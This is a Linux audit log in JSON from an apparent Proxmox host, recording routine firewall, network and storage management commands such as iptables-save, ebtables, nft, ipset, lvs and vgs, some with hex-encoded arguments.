{"@timestamp":1781965125701,"@rawstring":"node=pve type=EXECVE msg=audit(1781965125.701:64288): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964419283,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964419.283:60944): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965125699,"@rawstring":"node=pve type=EXECVE msg=audit(1781965125.699:64287): argc=1 a0=\"date\""} {"@timestamp":1781964419283,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964419.283:60943): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965125692,"@rawstring":"node=pve type=EXECVE msg=audit(1781965125.692:64285): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964419283,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964419.283:60942): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965125681,"@rawstring":"node=pve type=EXECVE msg=audit(1781965125.681:64284): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964415851,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964415.851:60941): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965125668,"@rawstring":"node=pve type=EXECVE msg=audit(1781965125.668:64283): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964415848,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964415.848:60940): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965125656,"@rawstring":"node=pve type=EXECVE msg=audit(1781965125.656:64282): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964415847,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964415.847:60939): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965125641,"@rawstring":"node=pve type=EXECVE msg=audit(1781965125.641:64281): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964415847,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964415.847:60938): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965125633,"@rawstring":"node=pve type=EXECVE msg=audit(1781965125.633:64279): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964415843,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964415.843:60937): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965125627,"@rawstring":"node=pve type=EXECVE msg=audit(1781965125.627:64278): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964415836,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964415.836:60936): proctitle=\"ip6tables-save\""} {"@timestamp":1781965125621,"@rawstring":"node=pve type=EXECVE msg=audit(1781965125.621:64277): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964415829,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964415.829:60935): proctitle=\"iptables-save\""} {"@timestamp":1781965125611,"@rawstring":"node=pve type=EXECVE msg=audit(1781965125.611:64276): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964415823,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964415.823:60934): proctitle=\"ip6tables-save\""} {"@timestamp":1781965125601,"@rawstring":"node=pve type=EXECVE msg=audit(1781965125.601:64275): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964415816,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964415.816:60933): proctitle=\"iptables-save\""} {"@timestamp":1781965125587,"@rawstring":"node=pve type=EXECVE msg=audit(1781965125.587:64274): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964415813,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964415.813:60932): proctitle=\"ebtables-restore\""} {"@timestamp":1781965125572,"@rawstring":"node=pve type=EXECVE msg=audit(1781965125.572:64273): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964415810,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964415.810:60931): proctitle=\"ebtables-restore\""} {"@timestamp":1781965125559,"@rawstring":"node=pve type=EXECVE msg=audit(1781965125.559:64272): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964415805,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964415.805:60930): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965125552,"@rawstring":"node=pve type=EXECVE msg=audit(1781965125.552:64271): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964415799,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964415.799:60929): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965125543,"@rawstring":"node=pve type=EXECVE msg=audit(1781965125.543:64270): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964415794,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964415.794:60928): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965125540,"@rawstring":"node=pve type=EXECVE msg=audit(1781965125.540:64269): argc=1 a0=\"date\""} {"@timestamp":1781964415789,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964415.789:60927): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965125530,"@rawstring":"node=pve type=EXECVE msg=audit(1781965125.530:64267): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964415784,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964415.784:60926): proctitle=697073657400726573746F7265"} {"@timestamp":1781965125506,"@rawstring":"node=pve type=EXECVE msg=audit(1781965125.506:64266): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964415777,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964415.777:60925): proctitle=\"ip6tables-save\""} {"@timestamp":1781965125493,"@rawstring":"node=pve type=EXECVE msg=audit(1781965125.493:64265): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964415770,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964415.770:60924): proctitle=\"iptables-save\""} {"@timestamp":1781965125485,"@rawstring":"node=pve type=EXECVE msg=audit(1781965125.485:64264): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964415767,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964415.767:60923): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965125471,"@rawstring":"node=pve type=EXECVE msg=audit(1781965125.471:64263): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964415764,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964415.764:60922): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965125460,"@rawstring":"node=pve type=EXECVE msg=audit(1781965125.460:64262): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964415763,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964415.763:60921): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965124754,"@rawstring":"node=pve type=EXECVE msg=audit(1781965124.754:64261): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964415763,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964415.763:60920): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965124720,"@rawstring":"node=pve type=EXECVE msg=audit(1781965124.720:64260): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964415758,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964415.758:60919): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965121863,"@rawstring":"node=pve type=EXECVE msg=audit(1781965121.863:64259): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964415752,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964415.752:60918): proctitle=\"ip6tables-save\""} {"@timestamp":1781965121855,"@rawstring":"node=pve type=EXECVE msg=audit(1781965121.855:64256): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964415745,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964415.745:60917): proctitle=\"iptables-save\""} {"@timestamp":1781965120186,"@rawstring":"node=pve type=EXECVE msg=audit(1781965120.186:64253): argc=2 a0=\"awk\" a1=7B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781964415741,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964415.741:60916): proctitle=69707365740073617665"} {"@timestamp":1781965120186,"@rawstring":"node=pve type=EXECVE msg=audit(1781965120.186:64252): argc=5 a0=\"ps\" a1=\"-C\" a2=\"kvm\" a3=\"-o\" a4=\"pss\""} {"@timestamp":1781964415734,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964415.734:60915): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965120184,"@rawstring":"node=pve type=EXECVE msg=audit(1781965120.184:64251): argc=3 a0=\"awk\" a1=2F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D a2=\"/proc/meminfo\""} {"@timestamp":1781964415728,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964415.728:60914): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965116842,"@rawstring":"node=pve type=EXECVE msg=audit(1781965116.842:64250): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964414971,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964414.971:60913): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965116832,"@rawstring":"node=pve type=EXECVE msg=audit(1781965116.832:64247): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964414943,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964414.943:60912): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965115445,"@rawstring":"node=pve type=EXECVE msg=audit(1781965115.445:64244): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964414276,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964414.276:60911): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965115441,"@rawstring":"node=pve type=EXECVE msg=audit(1781965115.441:64243): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964414276,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964414.276:60910): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965115441,"@rawstring":"node=pve type=EXECVE msg=audit(1781965115.441:64242): argc=1 a0=\"date\""} {"@timestamp":1781964414276,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964414.276:60909): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965115436,"@rawstring":"node=pve type=EXECVE msg=audit(1781965115.436:64240): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964414269,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964414.269:60908): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965115429,"@rawstring":"node=pve type=EXECVE msg=audit(1781965115.429:64239): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964414269,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964414.269:60907): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965115421,"@rawstring":"node=pve type=EXECVE msg=audit(1781965115.421:64238): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964414269,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964414.269:60906): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965115413,"@rawstring":"node=pve type=EXECVE msg=audit(1781965115.413:64237): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964409262,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964409.262:60905): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965115403,"@rawstring":"node=pve type=EXECVE msg=audit(1781965115.403:64236): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964409262,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964409.262:60904): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965115398,"@rawstring":"node=pve type=EXECVE msg=audit(1781965115.398:64234): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964409262,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964409.262:60903): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965115391,"@rawstring":"node=pve type=EXECVE msg=audit(1781965115.391:64233): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964409253,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964409.253:60902): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965115385,"@rawstring":"node=pve type=EXECVE msg=audit(1781965115.385:64232): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964409253,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964409.253:60901): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965115379,"@rawstring":"node=pve type=EXECVE msg=audit(1781965115.379:64231): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964409253,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964409.253:60900): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965115374,"@rawstring":"node=pve type=EXECVE msg=audit(1781965115.374:64230): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964405717,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964405.717:60899): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965115368,"@rawstring":"node=pve type=EXECVE msg=audit(1781965115.368:64229): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964405714,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964405.714:60898): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965115360,"@rawstring":"node=pve type=EXECVE msg=audit(1781965115.360:64228): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964405713,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964405.713:60897): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965115353,"@rawstring":"node=pve type=EXECVE msg=audit(1781965115.353:64227): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964405713,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964405.713:60896): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965115346,"@rawstring":"node=pve type=EXECVE msg=audit(1781965115.346:64226): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964405709,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964405.709:60895): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965115337,"@rawstring":"node=pve type=EXECVE msg=audit(1781965115.337:64225): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964405703,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964405.703:60894): proctitle=\"ip6tables-save\""} {"@timestamp":1781965115335,"@rawstring":"node=pve type=EXECVE msg=audit(1781965115.335:64224): argc=1 a0=\"date\""} {"@timestamp":1781964405697,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964405.697:60893): proctitle=\"iptables-save\""} {"@timestamp":1781965115331,"@rawstring":"node=pve type=EXECVE msg=audit(1781965115.331:64222): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964405691,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964405.691:60892): proctitle=\"ip6tables-save\""} {"@timestamp":1781965115325,"@rawstring":"node=pve type=EXECVE msg=audit(1781965115.325:64221): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964405685,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964405.685:60891): proctitle=\"iptables-save\""} {"@timestamp":1781965115317,"@rawstring":"node=pve type=EXECVE msg=audit(1781965115.317:64220): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964405682,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964405.682:60890): proctitle=\"ebtables-restore\""} {"@timestamp":1781965115313,"@rawstring":"node=pve type=EXECVE msg=audit(1781965115.313:64219): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964405680,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964405.680:60889): proctitle=\"ebtables-restore\""} {"@timestamp":1781965115305,"@rawstring":"node=pve type=EXECVE msg=audit(1781965115.305:64218): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964405675,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964405.675:60888): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965115295,"@rawstring":"node=pve type=EXECVE msg=audit(1781965115.295:64217): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964405670,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964405.670:60887): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965114606,"@rawstring":"node=pve type=EXECVE msg=audit(1781965114.606:64216): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964405665,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964405.665:60886): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965114583,"@rawstring":"node=pve type=EXECVE msg=audit(1781965114.583:64215): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964405660,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964405.660:60885): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965111823,"@rawstring":"node=pve type=EXECVE msg=audit(1781965111.823:64214): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964405655,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964405.655:60884): proctitle=697073657400726573746F7265"} {"@timestamp":1781965111813,"@rawstring":"node=pve type=EXECVE msg=audit(1781965111.813:64211): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964405648,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964405.648:60883): proctitle=\"ip6tables-save\""} {"@timestamp":1781965106805,"@rawstring":"node=pve type=EXECVE msg=audit(1781965106.805:64208): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964405642,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964405.642:60882): proctitle=\"iptables-save\""} {"@timestamp":1781965106798,"@rawstring":"node=pve type=EXECVE msg=audit(1781965106.798:64205): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964405639,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964405.639:60881): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965105281,"@rawstring":"node=pve type=EXECVE msg=audit(1781965105.281:64202): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964405636,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964405.636:60880): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965105279,"@rawstring":"node=pve type=EXECVE msg=audit(1781965105.279:64201): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964405635,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964405.635:60879): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965105278,"@rawstring":"node=pve type=EXECVE msg=audit(1781965105.278:64200): argc=1 a0=\"date\""} {"@timestamp":1781964405635,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964405.635:60878): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965105272,"@rawstring":"node=pve type=EXECVE msg=audit(1781965105.272:64198): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964405631,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964405.631:60877): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965105266,"@rawstring":"node=pve type=EXECVE msg=audit(1781965105.266:64197): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964405625,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964405.625:60876): proctitle=\"ip6tables-save\""} {"@timestamp":1781965105260,"@rawstring":"node=pve type=EXECVE msg=audit(1781965105.260:64196): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964405618,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964405.618:60875): proctitle=\"iptables-save\""} {"@timestamp":1781965105252,"@rawstring":"node=pve type=EXECVE msg=audit(1781965105.252:64195): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964405613,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964405.613:60874): proctitle=69707365740073617665"} {"@timestamp":1781965105246,"@rawstring":"node=pve type=EXECVE msg=audit(1781965105.246:64194): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964405608,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964405.608:60873): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965105238,"@rawstring":"node=pve type=EXECVE msg=audit(1781965105.238:64192): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964405601,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964405.601:60872): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965105234,"@rawstring":"node=pve type=EXECVE msg=audit(1781965105.234:64191): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964404883,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964404.883:60871): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965105228,"@rawstring":"node=pve type=EXECVE msg=audit(1781965105.228:64190): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964404842,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964404.842:60870): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965105222,"@rawstring":"node=pve type=EXECVE msg=audit(1781965105.222:64189): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964404242,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964404.242:60869): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965105218,"@rawstring":"node=pve type=EXECVE msg=audit(1781965105.218:64188): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964404242,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964404.242:60868): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965105212,"@rawstring":"node=pve type=EXECVE msg=audit(1781965105.212:64187): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964404242,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964404.242:60867): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965105206,"@rawstring":"node=pve type=EXECVE msg=audit(1781965105.206:64186): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964404234,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964404.234:60866): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965105200,"@rawstring":"node=pve type=EXECVE msg=audit(1781965105.200:64185): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964404234,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964404.234:60865): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965105196,"@rawstring":"node=pve type=EXECVE msg=audit(1781965105.196:64184): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} 